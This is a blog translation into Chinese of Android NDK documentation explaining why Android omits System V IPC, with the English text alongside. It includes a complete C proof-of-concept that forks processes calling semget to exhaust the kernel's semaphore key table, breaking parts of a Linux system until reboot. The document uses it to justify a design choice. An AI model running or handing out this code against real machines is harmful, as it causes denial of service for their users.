`

【翻译】(17)SYSV IPC

 
阅读更多

-----------------

英文文档见android-ndk-r6b的documentation.html

属于Android Native Development Kit (NDK)的一部分

http://developer.android.com/sdk/ndk/index.html

翻译仅个人见解

-----------------

 

Android does not support System V IPCs, i.e. the facilities provided by the following standard Posix headers:

 

Android不支持系统五进程间通信。即以下标准Posix头文件提供的工具:(注:Posix是Unix可移植操作系统接口的简称,是一种操作系统的API标准,但不限于Unix)

 

  <sys/sem.h>   /* SysV semaphores 系统五信号量*/

  <sys/shm.h>   /* SysV shared memory segments 系统五内存段*/

  <sys/msg.h>   /* SysV message queues 系统五消息队列*/

  <sys/ipc.h>   /* General IPC definitions 通用进程间通信定义*/

 

The reason for this is due to the fact that, by design, they lead to global kernel resource leakage.

 

之所以要这样做,是因为这样的事实,设计上它们会导致全局内核资源泄漏。

 

For example, there is no way to automatically release a SysV semaphore allocated in the kernel when:

 

例如,没有一种方法自动地释放在内核中分配的系统五信号量,当:

 

- a buggy or malicious process exits

 

- 一个有缺陷或恶意的进程存在。

 

- a non-buggy and non-malicious process crashes or is explicitly killed.

 

- 一个无缺陷且无恶意的进程崩溃或显式地被杀掉。

 

Killing processes automatically to make room for new ones is an important part of Android's application lifecycle implementation. This means that, even assuming only non-buggy and non-malicious code, it is very likely that over time, the kernel global tables used to implement SysV IPCs will fill up.

 

自动杀掉进程以腾出空间给新的进程,是Android应用程序生命周期实现的重要部分。这意味着,即便假设只有无缺陷且无恶意的代码,还是非常可能在不久后,用于实现系统五IPC的内核全局表将被填满。

 

At that point, strange failures are likely to occur and prevent programs that use them to run properly until the next reboot of the system.

 

到那时,奇怪的失败有可能会发生,并且阻止使用它们的程序正常运行,直至下一次系统重启。

 

And we can't ignore potential malicious applications. As a proof of concept here is a simple exploit that you can run on a standard Linux box today:

 

而且,我们不可以忽略潜在的恶意应用程序。作为这个观点的证明,这里有一个简单的漏洞(注:这里应该理解为漏洞或溢出攻击),如今你可以运行它在一个标准Linux机器里:

 

--------------- cut here ------------------------

#include <sys/sem.h>

#include <sys/wait.h>

#include <unistd.h>

#include <stdio.h>

#include <stdlib.h>

#include <errno.h>

 

#define  NUM_SEMAPHORES  32

#define  MAX_FAILS       10

 

int  main(void)

{

    int   counter = 0;

    int   fails   = 0;

 

    if (counter == IPC_PRIVATE)

        counter++;

 

    printf( "%d (NUM_SEMAPHORES=%d)\n", counter, NUM_SEMAPHORES);

 

    for (;;) {

        int  ret = fork();

        int  status;

 

        if (ret < 0) {

            perror("fork:");

            break;

        }

        if (ret == 0) {

            /* in the child 在子进程中*/

            ret = semget( (key_t)counter, NUM_SEMAPHORES, IPC_CREAT );

            if (ret < 0) {

                return errno;

            }

            return 0;

        }

        else {

            /* in the parent 在父进程中*/

            ret = wait(&status); //注:等待,直至其中一个子进程退出

            if (ret < 0) {

                perror("waitpid:");

                break;

            }

            if (status != 0) {

                status = WEXITSTATUS(status);

                fprintf(stderr, "child %d FAIL at counter=%d: %d\n", ret,

                                counter, status);

                if (++fails >= MAX_FAILS)

                    break;

            }

        }

 

        counter++;

        if ((counter % 1000) == 0) {

            printf("%d\n", counter);

        }

        if (counter == IPC_PRIVATE)

            counter++;

    }

    return 0;

}

--------------- cut here ------------------------

 

If you run it on a typical Linux distribution today, you'll discover that it will quickly fill up the kernel's table of unique key_t values, and that strange things will happen in some parts of the system, but not all.

 

今时今日如果你在一个典型的Linux分发版上运行这个程序,你将发现它很快用唯一的key_t值占满内核表,而且将会在系统的某些部分发生奇怪的事情,但不是全部。

 

(You can use the "ipcs -u" command to get a summary describing the kernel tables and their allocations)

 

(你可以使用ipcs -u命令获取一个描述内核表及其分配的概要)

 

(注:ipcs用于提供IPC设施的状态信息,-u表示summary,我在ubuntu上得到的有共享内存,信号量,消息三项)

 

For example, in our experience, anything program launched after that that calls strerror() will simply crash. The USB sub-system starts spoutting weird errors to the system console, etc...

 

例如,以我们的经验看,在发生这种泄漏之后,程序所做的任何事情,一旦其中调用了strerror()就会简单地崩溃。USB子系统开始不断输出奇怪的错误到系统控制台,等等……

 

分享到:
评论

相关推荐

Global site tag (gtag.js) - Google Analytics